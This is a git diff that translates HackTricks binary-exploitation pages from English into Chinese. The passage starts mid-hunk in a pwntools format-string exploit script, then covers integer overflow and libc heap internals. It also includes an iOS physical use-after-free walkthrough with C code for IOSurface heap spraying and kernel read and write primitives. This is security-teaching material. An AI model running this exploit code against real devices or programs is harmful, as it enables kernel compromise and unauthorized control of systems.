- connect_binary()
- payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
- recieved = send_payload(payload).strip()
- print(recieved)
- if b"42424242" in recieved:
- log.info(f"Found offset ({offset}) and padlen ({padlen})")
- return offset, padlen
+if b"41" in recieved:
+for padlen in range(0,4):
+if b"41414141" in recieved:
+connect_binary()
+payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
+recieved = send_payload(payload).strip()
+print(recieved)
+if b"42424242" in recieved:
+log.info(f"Found offset ({offset}) and padlen ({padlen})")
+return offset, padlen
- else:
- connect_binary()
- payload = b" " + payload
- recieved = send_payload(payload).strip()
+else:
+connect_binary()
+payload = b" " + payload
+recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
- # attach gdb and continue
- # You can set breakpoints, for example "break *main"
- gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
- sleep(5)
+# attach gdb and continue
+# You can set breakpoints, for example "break *main"
+gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
+sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index cf1a6ca4f..ab02b661a 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -1,123 +1,115 @@
-# Integer Overflow
+# 整数溢出
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
+**整数溢出**的核心在于计算机编程中数据类型的**大小**所施加的限制和数据的**解释**。
-For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
+例如,一个**8位无符号整数**可以表示从**0到255**的值。如果你尝试在8位无符号整数中存储值256,由于其存储容量的限制,它会回绕到0。同样,对于一个**16位无符号整数**,它可以容纳从**0到65,535**的值,将1加到65,535会将值回绕到0。
-Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
+此外,一个**8位有符号整数**可以表示从**-128到127**的值。这是因为一个位用于表示符号(正或负),剩下7个位用于表示大小。最小的负数表示为**-128**(二进制`10000000`),最大的正数是**127**(二进制`01111111`)。
-### Max values
+### 最大值
-For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
+对于潜在的**网络漏洞**,了解最大支持值是非常有趣的:
{{#tabs}}
{{#tab name="Rust"}}
-
```rust
fn main() {
- let mut quantity = 2147483647;
+let mut quantity = 2147483647;
- let (mul_result, _) = i32::overflowing_mul(32767, quantity);
- let (add_result, _) = i32::overflowing_add(1, quantity);
+let (mul_result, _) = i32::overflowing_mul(32767, quantity);
+let (add_result, _) = i32::overflowing_add(1, quantity);
- println!("{}", mul_result);
- println!("{}", add_result);
+println!("{}", mul_result);
+println!("{}", add_result);
}
```
-
{{#endtab}}
{{#tab name="C"}}
-
```c
#include
#include
int main() {
- int a = INT_MAX;
- int b = 0;
- int c = 0;
+int a = INT_MAX;
+int b = 0;
+int c = 0;
- b = a * 100;
- c = a + 1;
+b = a * 100;
+c = a + 1;
- printf("%d\n", INT_MAX);
- printf("%d\n", b);
- printf("%d\n", c);
- return 0;
+printf("%d\n", INT_MAX);
+printf("%d\n", b);
+printf("%d\n", c);
+return 0;
}
```
-
{{#endtab}}
{{#endtabs}}
-## Examples
+## 示例
-### Pure overflow
-
-The printed result will be 0 as we overflowed the char:
+### 纯溢出
+打印的结果将是 0,因为我们溢出了 char:
```c
#include
int main() {
- unsigned char max = 255; // 8-bit unsigned integer
- unsigned char result = max + 1;
- printf("Result: %d\n", result); // Expected to overflow
- return 0;
+unsigned char max = 255; // 8-bit unsigned integer
+unsigned char result = max + 1;
+printf("Result: %d\n", result); // Expected to overflow
+return 0;
}
```
+### 有符号到无符号转换
-### Signed to Unsigned Conversion
-
-Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
-
+考虑一种情况,其中从用户输入中读取一个有符号整数,然后在一个将其视为无符号整数的上下文中使用,而没有进行适当的验证:
```c
#include
int main() {
- int userInput; // Signed integer
- printf("Enter a number: ");
- scanf("%d", &userInput);
+int userInput; // Signed integer
+printf("Enter a number: ");
+scanf("%d", &userInput);
- // Treating the signed input as unsigned without validation
- unsigned int processedInput = (unsigned int)userInput;
+// Treating the signed input as unsigned without validation
+unsigned int processedInput = (unsigned int)userInput;
- // A condition that might not work as intended if userInput is negative
- if (processedInput > 1000) {
- printf("Processed Input is large: %u\n", processedInput);
- } else {
- printf("Processed Input is within range: %u\n", processedInput);
- }
+// A condition that might not work as intended if userInput is negative
+if (processedInput > 1000) {
+printf("Processed Input is large: %u\n", processedInput);
+} else {
+printf("Processed Input is within range: %u\n", processedInput);
+}
- return 0;
+return 0;
}
```
+在这个例子中,如果用户输入一个负数,由于二进制值的解释方式,它将被解释为一个大的无符号整数,这可能导致意想不到的行为。
-In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
-
-### Other Examples
+### 其他示例
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
+- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
+- 给定几个数字,使用 z3 找出一个新数字,使其与第一个数字相乘将得到第二个数字:
- ```
- (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- ```
+```
+(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
+```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
+- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护并覆盖栈中的下一个局部变量,从而绕过这两种保护
## ARM64
-This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
+这在 ARM64 中**没有变化**,正如你在 [**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md
index dbf5dc009..059c27a89 100644
--- a/src/binary-exploitation/ios-exploiting.md
+++ b/src/binary-exploitation/ios-exploiting.md
@@ -2,211 +2,202 @@
## Physical use-after-free
-This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。
### Memory management in XNU
-The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
+iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。
#### Levels of Page Tables in iOS
-Page tables are organized hierarchically in three levels:
+页表分为三个层次进行分层组织:
1. **L1 Page Table (Level 1)**:
- * Each entry here represents a large range of virtual memory.
- * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
+* 这里的每个条目表示一个大范围的虚拟内存。
+* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。
2. **L2 Page Table (Level 2)**:
- * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
- * An L1 entry may point to an L2 table if it can't map the entire region itself.
+* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**(32 MB)。
+* 如果L1条目无法映射整个区域,它可能指向L2表。
3. **L3 Page Table (Level 3)**:
- * This is the finest level, where each entry maps a single **4 KB** memory page.
- * An L2 entry may point to an L3 table if more granular control is needed.
+* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。
+* 如果需要更细粒度的控制,L2条目可以指向L3表。
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
- * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
+* 页表中的某些条目直接**映射一系列虚拟地址**到一系列连续的物理地址(就像快捷方式)。
* **Pointer to Child Page Table**:
- * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
+* 如果需要更细的控制,一个级别中的条目(例如,L1)可以指向下一个级别的**子页表**(例如,L2)。
#### Example: Mapping a Virtual Address
-Let’s say you try to access the virtual address **0x1000000000**:
+假设你尝试访问虚拟地址**0x1000000000**:
1. **L1 Table**:
- * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
+* 内核检查与此虚拟地址对应的L1页表条目。如果它有一个**指向L2页表的指针**,则转到该L2表。
2. **L2 Table**:
- * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
+* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续到那里。
3. **L3 Table**:
- * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
+* 内核查找最终的L3条目,该条目指向实际内存页的**物理地址**。
#### Example of Address Mapping
-If you write the physical address **0x800004000** into the first index of the L2 table, then:
+如果你将物理地址**0x800004000**写入L2表的第一个索引,则:
-* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
-* This is a **block mapping** at the L2 level.
+* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。
+* 这是L2级别的**块映射**。
-Alternatively, if the L2 entry points to an L3 table:
+或者,如果L2条目指向L3表:
-* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
+* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。
### Physical use-after-free
-A **physical use-after-free** (UAF) occurs when:
+**物理使用后释放**(UAF)发生在:
-1. A process **allocates** some memory as **readable and writable**.
-2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
-3. The process **deallocates** (frees) the memory.
-4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
-5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
-6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
+1. 一个进程**分配**了一些内存作为**可读和可写**。
+2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。
+3. 该进程**释放**(释放)内存。
+4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。
+5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。
+6. 由于映射未被删除,进程仍然可以**读写**此物理内存。
-This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
+这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。
### Exploitation Strategy: Heap Spray
-Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
+由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
-1. The attacker **creates a large number of IOSurface objects** in kernel memory.
-2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
-3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
-4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
+1. 攻击者在内核内存中**创建大量IOSurface对象**。
+2. 每个IOSurface对象在其字段之一中包含一个**魔法值**,使其易于识别。
+3. 他们**扫描释放的页面**以查看这些IOSurface对象是否落在释放的页面上。
+4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以使用它来**读写内核内存**。
-More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
+关于此的更多信息在[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。
### Step-by-Step Heap Spray Process
-1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
-2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
-3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
- * Use one field to **read any 32-bit value** in kernel memory.
- * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
-
-Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
+1. **Spray IOSurface Objects**: 攻击者创建许多带有特殊标识符(“魔法值”)的IOSurface对象。
+2. **Scan Freed Pages**: 他们检查是否有任何对象已在释放的页面上分配。
+3. **Read/Write Kernel Memory**: 通过操纵IOSurface对象中的字段,他们获得在内核内存中执行**任意读写**的能力。这使他们能够:
+* 使用一个字段**读取内核内存中的任何32位值**。
+* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。
+生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
- if (*nClients >= 0x4000) return;
- for (int i = 0; i < nSurfaces; i++) {
- fast_create_args_t args;
- lock_result_t result;
-
- size_t size = IOSurfaceLockResultSize;
- args.address = 0;
- args.alloc_size = *nClients + 1;
- args.pixel_format = IOSURFACE_MAGIC;
-
- IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
- io_connect_t id = result.surface_id;
-
- (*clients)[*nClients] = id;
- *nClients = (*nClients) += 1;
- }
+if (*nClients >= 0x4000) return;
+for (int i = 0; i < nSurfaces; i++) {
+fast_create_args_t args;
+lock_result_t result;
+
+size_t size = IOSurfaceLockResultSize;
+args.address = 0;
+args.alloc_size = *nClients + 1;
+args.pixel_format = IOSURFACE_MAGIC;
+
+IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
+io_connect_t id = result.surface_id;
+
+(*clients)[*nClients] = id;
+*nClients = (*nClients) += 1;
+}
}
```
-
-Search for **`IOSurface`** objects in one freed physical page:
-
+在一个已释放的物理页面中搜索 **`IOSurface`** 对象:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
- io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
- int nSurfaceIDs = 0;
-
- for (int i = 0; i < 0x400; i++) {
- spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
-
- for (int j = 0; j < nPages; j++) {
- uint64_t start = puafPages[j];
- uint64_t stop = start + (pages(1) / 16);
-
- for (uint64_t k = start; k < stop; k += 8) {
- if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
- info.object = k;
- info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
- if (self_task) *self_task = iosurface_get_receiver(k);
- goto sprayDone;
- }
- }
- }
- }
-
+io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
+int nSurfaceIDs = 0;
+
+for (int i = 0; i < 0x400; i++) {
+spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
+
+for (int j = 0; j < nPages; j++) {
+uint64_t start = puafPages[j];
+uint64_t stop = start + (pages(1) / 16);
+
+for (uint64_t k = start; k < stop; k += 8) {
+if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
+info.object = k;
+info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
+if (self_task) *self_task = iosurface_get_receiver(k);
+goto sprayDone;
+}
+}
+}
+}
+
sprayDone:
- for (int i = 0; i < nSurfaceIDs; i++) {
- if (surfaceIDs[i] == info.surface) continue;
- iosurface_release(client, surfaceIDs[i]);
- }
- free(surfaceIDs);
-
- return 0;
+for (int i = 0; i < nSurfaceIDs; i++) {
+if (surfaceIDs[i] == info.surface) continue;
+iosurface_release(client, surfaceIDs[i]);
+}
+free(surfaceIDs);
+
+return 0;
}
```
+### 使用IOSurface实现内核读/写
-### Achieving Kernel Read/Write with IOSurface
+在内核内存中控制一个IOSurface对象(映射到一个可从用户空间访问的已释放物理页面)后,我们可以将其用于**任意内核读写操作**。
-After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
+**IOSurface中的关键字段**
-**Key Fields in IOSurface**
+IOSurface对象有两个关键字段:
-The IOSurface object has two crucial fields:
+1. **使用计数指针**:允许**32位读取**。
+2. **索引时间戳指针**:允许**64位写入**。
-1. **Use Count Pointer**: Allows a **32-bit read**.
-2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
+通过覆盖这些指针,我们将其重定向到内核内存中的任意地址,从而启用读/写功能。
-By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
+#### 32位内核读取
-#### 32-Bit Kernel Read
-
-To perform a read:
-
-1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
-2. Use the `get_use_count` method to read the value at that address.
+要执行读取:
+1. 将**使用计数指针**覆盖为指向目标地址减去0x14字节的偏移量。
+2. 使用`get_use_count`方法读取该地址的值。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
- uint64_t args[1] = {surfaceID};
- uint32_t size = 1;
- uint64_t out = 0;
- IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
- return (uint32_t)out;
+uint64_t args[1] = {surfaceID};
+uint32_t size = 1;
+uint64_t out = 0;
+IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
+return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
- uint64_t orig = iosurface_get_use_count_pointer(info.object);
- iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
- uint32_t value = get_use_count(info.client, info.surface);
- iosurface_set_use_count_pointer(info.object, orig);
- return value;
+uint64_t orig = iosurface_get_use_count_pointer(info.object);
+iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
+uint32_t value = get_use_count(info.client, info.surface);
+iosurface_set_use_count_pointer(info.object, orig);
+return value;
}
```
+#### 64位内核写入
-#### 64-Bit Kernel Write
-
-To perform a write:
-
-1. Overwrite the **indexed timestamp pointer** to the target address.
-2. Use the `set_indexed_timestamp` method to write a 64-bit value.
+要执行写入:
+1. 将**索引时间戳指针**覆盖到目标地址。
+2. 使用`set_indexed_timestamp`方法写入64位值。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
- uint64_t args[3] = {surfaceID, 0, value};
- IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
+uint64_t args[3] = {surfaceID, 0, value};
+IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
- uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
- iosurface_set_indexed_timestamp_pointer(info.object, addr);
- set_indexed_timestamp(info.client, info.surface, value);
- iosurface_set_indexed_timestamp_pointer(info.object, orig);
+uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
+iosurface_set_indexed_timestamp_pointer(info.object, addr);
+set_indexed_timestamp(info.client, info.surface, value);
+iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
+#### 利用流程回顾
-#### Exploit Flow Recap
-
-1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
-2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
-3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
-4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
-
-With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
+1. **触发物理使用后释放**: 可重用的空闲页面。
+2. **喷洒IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。
+3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。
+4. **滥用使用后释放**: 修改IOSurface对象中的指针,以通过IOSurface方法启用任意**内核读/写**。
+通过这些原语,利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。
diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md
index 319126fe0..3893165e0 100644
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@@ -2,196 +2,189 @@
## Heap Basics
-The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
+堆基本上是程序在请求数据时存储数据的地方,调用像 **`malloc`**、`calloc`... 这样的函数。此外,当这些内存不再需要时,可以通过调用 **`free`** 函数将其释放。
-As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
+如图所示,它位于二进制文件加载到内存后的位置(查看 `[heap]` 部分):
### Basic Chunk Allocation
-When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
+当请求将某些数据存储在堆中时,会为其分配堆的一部分空间。该空间将属于一个 bin,并且仅为请求的数据 + bin 头的空间 + 最小 bin 大小偏移量保留给该块。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来了解每个已用/空闲块的位置。
-There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
+根据使用的 bin,有不同的方法来保留空间,但一般方法如下:
-- The program starts by requesting certain amount of memory.
-- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
-- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
-- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
-- If everything fails, `malloc` returns null.
+- 程序开始时请求一定量的内存。
+- 如果在块列表中有足够大的可用块来满足请求,则将使用该块。
+- 这甚至可能意味着可用块的一部分将用于此请求,其余部分将添加到块列表中。
+- 如果列表中没有可用块,但已分配的堆内存中仍有空间,堆管理器将创建一个新块。
+- 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用该内存生成新块。
+- 如果一切都失败,`malloc` 返回 null。
-Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
+请注意,如果请求的 **内存超过阈值**,**`mmap`** 将用于映射请求的内存。
## Arenas
-In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
+在 **多线程** 应用程序中,堆管理器必须防止可能导致崩溃的 **竞争条件**。最初,这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆,但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。
-To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
+为了解决这个问题,ptmalloc2 堆分配器引入了“区域”,每个 **区域** 作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的区域。
-The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
+默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域,如果需要则创建新的区域,最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制,**线程必须共享区域**,这可能导致潜在的竞争。
-Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
+与使用 `brk` 系统调用扩展的主区域不同,次要区域使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在多线程操作中灵活管理内存。
### Subheaps
-Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
+子堆作为多线程应用程序中次要区域的内存储备,允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式:
-1. **Initial Heap vs. Subheaps**:
- - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
-2. **Memory Reservation with `mmap`**:
- - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
-3. **Gradual Expansion with `mprotect`**:
- - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
+1. **初始堆与子堆**:
+- 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
+- 次要区域使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。
+2. **使用 `mmap` 进行内存保留**:
+- 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
+- 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
+3. **使用 `mprotect` 逐步扩展**:
+- 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
+- 为了“增长”子堆,堆管理器使用 `mprotect` 将页面权限从 `PROT_NONE` 更改为 `PROT_READ | PROT_WRITE`,提示内核为先前保留的地址分配物理内存。这种逐步的方法允许子堆根据需要扩展。
+- 一旦整个子堆耗尽,堆管理器将创建一个新的子堆以继续分配。
### heap_info
-This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
-
+此结构分配堆的相关信息。此外,堆内存在更多分配后可能不是连续的,此结构还将存储该信息。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
- mstate ar_ptr; /* Arena for this heap. */
- struct _heap_info *prev; /* Previous heap. */
- size_t size; /* Current size in bytes. */
- size_t mprotect_size; /* Size in bytes that has been mprotected
- PROT_READ|PROT_WRITE. */
- size_t pagesize; /* Page size used when allocating the arena. */
- /* Make sure the following data is properly aligned, particularly
- that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
- MALLOC_ALIGNMENT. */
- char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
+mstate ar_ptr; /* Arena for this heap. */
+struct _heap_info *prev; /* Previous heap. */
+size_t size; /* Current size in bytes. */
+size_t mprotect_size; /* Size in bytes that has been mprotected
+PROT_READ|PROT_WRITE. */
+size_t pagesize; /* Page size used when allocating the arena. */
